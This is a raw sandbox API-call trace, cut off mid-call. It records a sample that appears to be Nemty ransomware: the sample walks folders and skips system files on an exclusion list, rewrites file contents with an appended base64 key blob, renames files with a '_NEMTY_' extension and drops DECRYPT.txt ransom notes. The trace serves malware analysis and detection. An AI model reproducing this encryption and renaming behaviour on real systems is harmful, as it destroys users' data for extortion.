[0048.202] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340048 [0048.202] CryptBinaryToStringA (in: pbBinary=0x653efa4, cbBinary=0x100, dwFlags=0x1, pszString=0x6340048, pcchString=0x653ef9c | out: pszString="GlciJNycqDtk/bN7YKWYoYpu5t+9hJ/5H9oo4FyBoy4mnSoRcQ0lqhwwxCsTnokF\r\n9SzEbxzPuc2pXKqlOtHNn8L3gecSNGrcH7O0mu4rDGfRLCSqJw9Uttk6We3FSLMB\r\ngiVBflQuRCgP8ZWahty0jgDTZLc2ZBd+ehypfJ+jsVLHgWENxknFREuEScOMNaOF\r\nDb5/EwdeTHLvWAFxPsR6Sr8ylBYVQkZzyyd4KB+Q9UP/G7mCZDsO9mBi0mKsjNPD\r\n5u07KSg5iIiIS2DFirO+tR+WnmYhNYri6QPR2hvnxbp0TM9UJpcP7d4vc2Rd5Jb1\r\nsn79SkDXa0SxU43Ran/CQQ==\r\n", pcchString=0x653ef9c) returned 1 [0048.202] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x63401b8 [0048.202] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0048.202] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0048.202] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0048.202] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340048 [0048.202] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6340330 [0048.203] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\visiomui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3c8 [0048.203] GetFileSizeEx (in: hFile=0x3c8, lpFileSize=0x653f1f0 | out: lpFileSize=0x653f1f0*=9503) returned 1 [0048.203] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x2510) returned 0x6346d48 [0048.203] SetFilePointer (in: hFile=0x3c8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0048.203] ReadFile (in: hFile=0x3c8, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x2510, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6346d48*, lpNumberOfBytesRead=0x653f1e4*=0x2510, lpOverlapped=0x0) returned 1 [0048.215] SetFilePointer (in: hFile=0x3c8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0048.215] WriteFile (in: hFile=0x3c8, lpBuffer=0x6346d48*, nNumberOfBytesToWrite=0x2510, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpBuffer=0x6346d48*, lpNumberOfBytesWritten=0x653f1dc*=0x2510, lpOverlapped=0x0) returned 1 [0048.217] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d48 | out: hHeap=0x4f90000) returned 1 [0048.217] SetFilePointer (in: hFile=0x3c8, lDistanceToMove=9503, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x251f [0048.217] WriteFile (in: hFile=0x3c8, lpBuffer=0x6340048*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpBuffer=0x6340048*, lpNumberOfBytesWritten=0x653f1dc*=0x167, lpOverlapped=0x0) returned 1 [0048.217] CloseHandle (hObject=0x3c8) returned 1 [0048.219] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x63404a8 [0048.219] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0048.219] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0048.219] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ece0, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0048.219] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed80 [0048.219] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0048.219] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f942e8 [0048.219] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x6343fe8 [0048.219] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f942e8 | out: hHeap=0x4f90000) returned 1 [0048.219] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed80 | out: hHeap=0x4f90000) returned 1 [0048.219] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\visiomui.xml"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.xml._NEMTY_kGOBjgD_" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\visiomui.xml._nemty_kgobjgd_")) returned 1 [0048.221] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0048.221] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63404a8 | out: hHeap=0x4f90000) returned 1 [0048.221] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0048.221] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0048.221] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340330 | out: hHeap=0x4f90000) returned 1 [0048.221] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401b8 | out: hHeap=0x4f90000) returned 1 [0048.221] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0048.222] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94240 | out: hHeap=0x4f90000) returned 1 [0048.222] FindNextFileW (in: hFindFile=0x3423930, lpFindFileData=0x653f348 | out: lpFindFileData=0x653f348*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xd05717f0, ftCreationTime.dwHighDateTime=0x1d561e7, ftLastAccessTime.dwLowDateTime=0xd05717f0, ftLastAccessTime.dwHighDateTime=0x1d561e7, ftLastWriteTime.dwLowDateTime=0xd0597950, ftLastWriteTime.dwHighDateTime=0x1d561e7, nFileSizeHigh=0x0, nFileSizeLow=0xef8, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="_NEMTY_kGOBjgD_-DECRYPT.txt", cAlternateFileName="_NEMTY~1.TXT")) returned 1 [0048.222] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2=".") returned 1 [0048.222] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="..") returned 1 [0048.222] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="...") returned 1 [0048.222] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="windows") returned -1 [0048.222] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="$RECYCLE.BIN") returned 1 [0048.222] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="rsa") returned -1 [0048.222] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="NTDETECT.COM") returned -1 [0048.222] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="ntldr") returned -1 [0048.222] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="MSDOS.SYS") returned -1 [0048.222] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="IO.SYS") returned -1 [0048.222] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="boot.ini") returned -1 [0048.222] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="boot.ini") returned -1 [0048.222] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="AUTOEXEC.BAT") returned -1 [0048.222] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0048.222] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="desktop.ini") returned -1 [0048.222] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="CONFIG.SYS") returned -1 [0048.222] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="RECYCLER") returned -1 [0048.222] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="BOOTSECT.BAK") returned -1 [0048.222] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="bootmgr") returned -1 [0048.222] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="programdata") returned -1 [0048.222] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="appdata") returned -1 [0048.222] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0048.222] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0048.222] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0048.222] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ed58, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0048.222] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0048.222] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345d60 [0048.222] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0048.223] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0048.223] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ed58, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0048.223] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0048.223] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345d60 | out: hHeap=0x4f90000) returned 1 [0048.223] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0048.223] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0048.223] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0048.223] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0048.223] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ed58, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0048.223] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0048.223] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0048.223] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0048.223] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed80 [0048.223] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ed80, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0048.223] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0048.223] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x4f94240 [0048.223] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94198 | out: hHeap=0x4f90000) returned 1 [0048.223] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed80 | out: hHeap=0x4f90000) returned 1 [0048.223] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0048.223] FindNextFileW (in: hFindFile=0x3423930, lpFindFileData=0x653f348 | out: lpFindFileData=0x653f348*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xd05717f0, ftCreationTime.dwHighDateTime=0x1d561e7, ftLastAccessTime.dwLowDateTime=0xd05717f0, ftLastAccessTime.dwHighDateTime=0x1d561e7, ftLastWriteTime.dwLowDateTime=0xd0597950, ftLastWriteTime.dwHighDateTime=0x1d561e7, nFileSizeHigh=0x0, nFileSizeLow=0xef8, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="_NEMTY_kGOBjgD_-DECRYPT.txt", cAlternateFileName="_NEMTY~1.TXT")) returned 0 [0048.223] FindClose (in: hFindFile=0x3423930 | out: hFindFile=0x3423930) returned 1 [0048.223] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94240 | out: hHeap=0x4f90000) returned 1 [0048.223] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94110 | out: hHeap=0x4f90000) returned 1 [0048.223] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94088 | out: hHeap=0x4f90000) returned 1 [0048.223] FindNextFileW (in: hFindFile=0x3423970, lpFindFileData=0x653f688 | out: lpFindFileData=0x653f688*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xf58ee8d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf6e0ec10, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf6e0ec10, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x344a1e0, dwReserved1=0x0, cFileName="{90140000-00A1-0409-1000-0000000FF1CE}-C", cAlternateFileName="{92572~1")) returned 1 [0048.223] lstrcmpiW (lpString1="{90140000-00A1-0409-1000-0000000FF1CE}-C", lpString2=".") returned 1 [0048.223] lstrcmpiW (lpString1="{90140000-00A1-0409-1000-0000000FF1CE}-C", lpString2="..") returned 1 [0048.223] lstrcmpiW (lpString1="{90140000-00A1-0409-1000-0000000FF1CE}-C", lpString2="...") returned 1 [0048.224] lstrcmpiW (lpString1="{90140000-00A1-0409-1000-0000000FF1CE}-C", lpString2="windows") returned -1 [0048.224] lstrcmpiW (lpString1="{90140000-00A1-0409-1000-0000000FF1CE}-C", lpString2="$RECYCLE.BIN") returned 1 [0048.224] lstrcmpiW (lpString1="{90140000-00A1-0409-1000-0000000FF1CE}-C", lpString2="rsa") returned -1 [0048.224] lstrcmpiW (lpString1="{90140000-00A1-0409-1000-0000000FF1CE}-C", lpString2="NTDETECT.COM") returned -1 [0048.224] lstrcmpiW (lpString1="{90140000-00A1-0409-1000-0000000FF1CE}-C", lpString2="ntldr") returned -1 [0048.224] lstrcmpiW (lpString1="{90140000-00A1-0409-1000-0000000FF1CE}-C", lpString2="MSDOS.SYS") returned -1 [0048.224] lstrcmpiW (lpString1="{90140000-00A1-0409-1000-0000000FF1CE}-C", lpString2="IO.SYS") returned -1 [0048.224] lstrcmpiW (lpString1="{90140000-00A1-0409-1000-0000000FF1CE}-C", lpString2="boot.ini") returned -1 [0048.224] lstrcmpiW (lpString1="{90140000-00A1-0409-1000-0000000FF1CE}-C", lpString2="boot.ini") returned -1 [0048.224] lstrcmpiW (lpString1="{90140000-00A1-0409-1000-0000000FF1CE}-C", lpString2="AUTOEXEC.BAT") returned -1 [0048.224] lstrcmpiW (lpString1="{90140000-00A1-0409-1000-0000000FF1CE}-C", lpString2="ntuser.dat") returned -1 [0048.224] lstrcmpiW (lpString1="{90140000-00A1-0409-1000-0000000FF1CE}-C", lpString2="desktop.ini") returned -1 [0048.224] lstrcmpiW (lpString1="{90140000-00A1-0409-1000-0000000FF1CE}-C", lpString2="CONFIG.SYS") returned -1 [0048.224] lstrcmpiW (lpString1="{90140000-00A1-0409-1000-0000000FF1CE}-C", lpString2="RECYCLER") returned -1 [0048.224] lstrcmpiW (lpString1="{90140000-00A1-0409-1000-0000000FF1CE}-C", lpString2="BOOTSECT.BAK") returned -1 [0048.224] lstrcmpiW (lpString1="{90140000-00A1-0409-1000-0000000FF1CE}-C", lpString2="bootmgr") returned -1 [0048.224] lstrcmpiW (lpString1="{90140000-00A1-0409-1000-0000000FF1CE}-C", lpString2="programdata") returned -1 [0048.224] lstrcmpiW (lpString1="{90140000-00A1-0409-1000-0000000FF1CE}-C", lpString2="appdata") returned -1 [0048.224] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x60) returned 0x4f91618 [0048.224] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="{90140000-00A1-0409-1000-0000000FF1CE}-C", cchWideChar=40, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 40 [0048.224] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0048.224] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="{90140000-00A1-0409-1000-0000000FF1CE}-C", cchWideChar=40, lpMultiByteStr=0x6345608, cbMultiByte=40, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="{90140000-00A1-0409-1000-0000000FF1CE}-C", lpUsedDefaultChar=0x0) returned 40 [0048.224] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0048.224] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x60) returned 0x4f916e8 [0048.224] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="{90140000-00A1-0409-1000-0000000FF1CE}-C", cchWideChar=40, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 40 [0048.224] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0048.224] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="{90140000-00A1-0409-1000-0000000FF1CE}-C", cchWideChar=40, lpMultiByteStr=0x6345608, cbMultiByte=40, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="{90140000-00A1-0409-1000-0000000FF1CE}-C", lpUsedDefaultChar=0x0) returned 40 [0048.224] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0048.224] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f916e8 | out: hHeap=0x4f90000) returned 1 [0048.224] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91618 | out: hHeap=0x4f90000) returned 1 [0048.224] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f94088 [0048.224] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91590 | out: hHeap=0x4f90000) returned 1 [0048.225] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f91590 [0048.225] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xef8) returned 0x6346d48 [0048.225] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0048.225] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0048.225] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0048.225] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed80 [0048.225] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0048.225] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94110 [0048.225] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed80 | out: hHeap=0x4f90000) returned 1 [0048.225] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x4f941b8 [0048.225] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94110 | out: hHeap=0x4f90000) returned 1 [0048.225] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\_NEMTY_kGOBjgD_-DECRYPT.txt" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\_nemty_kgobjgd_-decrypt.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3c4 [0048.229] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f941b8 | out: hHeap=0x4f90000) returned 1 [0048.229] SetFilePointer (in: hFile=0x3c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0048.229] WriteFile (in: hFile=0x3c4, lpBuffer=0x6346d48*, nNumberOfBytesToWrite=0xef8, lpNumberOfBytesWritten=0x653f540, lpOverlapped=0x0 | out: lpBuffer=0x6346d48*, lpNumberOfBytesWritten=0x653f540*=0xef8, lpOverlapped=0x0) returned 1 [0048.230] CloseHandle (hObject=0x3c4) returned 1 [0048.230] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d48 | out: hHeap=0x4f90000) returned 1 [0048.230] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91590 | out: hHeap=0x4f90000) returned 1 [0048.230] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f91590 [0048.230] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f94110 [0048.230] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f94198 [0048.230] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xef8) returned 0x6346d48 [0048.230] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0048.230] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed80 [0048.230] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed80, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0048.230] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0048.230] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed80 | out: hHeap=0x4f90000) returned 1 [0048.230] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94220 [0048.230] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0048.230] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x4f942c8 [0048.230] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94220 | out: hHeap=0x4f90000) returned 1 [0048.231] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\_NEMTY_kGOBjgD_-DECRYPT.txt" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\_nemty_kgobjgd_-decrypt.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3c4 [0048.231] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f942c8 | out: hHeap=0x4f90000) returned 1 [0048.231] SetFilePointer (in: hFile=0x3c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0048.232] WriteFile (in: hFile=0x3c4, lpBuffer=0x6346d48*, nNumberOfBytesToWrite=0xef8, lpNumberOfBytesWritten=0x653f200, lpOverlapped=0x0 | out: lpBuffer=0x6346d48*, lpNumberOfBytesWritten=0x653f200*=0xef8, lpOverlapped=0x0) returned 1 [0048.232] CloseHandle (hObject=0x3c4) returned 1 [0048.233] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d48 | out: hHeap=0x4f90000) returned 1 [0048.233] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94198 | out: hHeap=0x4f90000) returned 1 [0048.233] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x4f94198 [0048.233] FindFirstFileW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\*.*", lpFindFileData=0x653f348 | out: lpFindFileData=0x653f348*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xf58ee8d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xd0714710, ftLastAccessTime.dwHighDateTime=0x1d561e7, 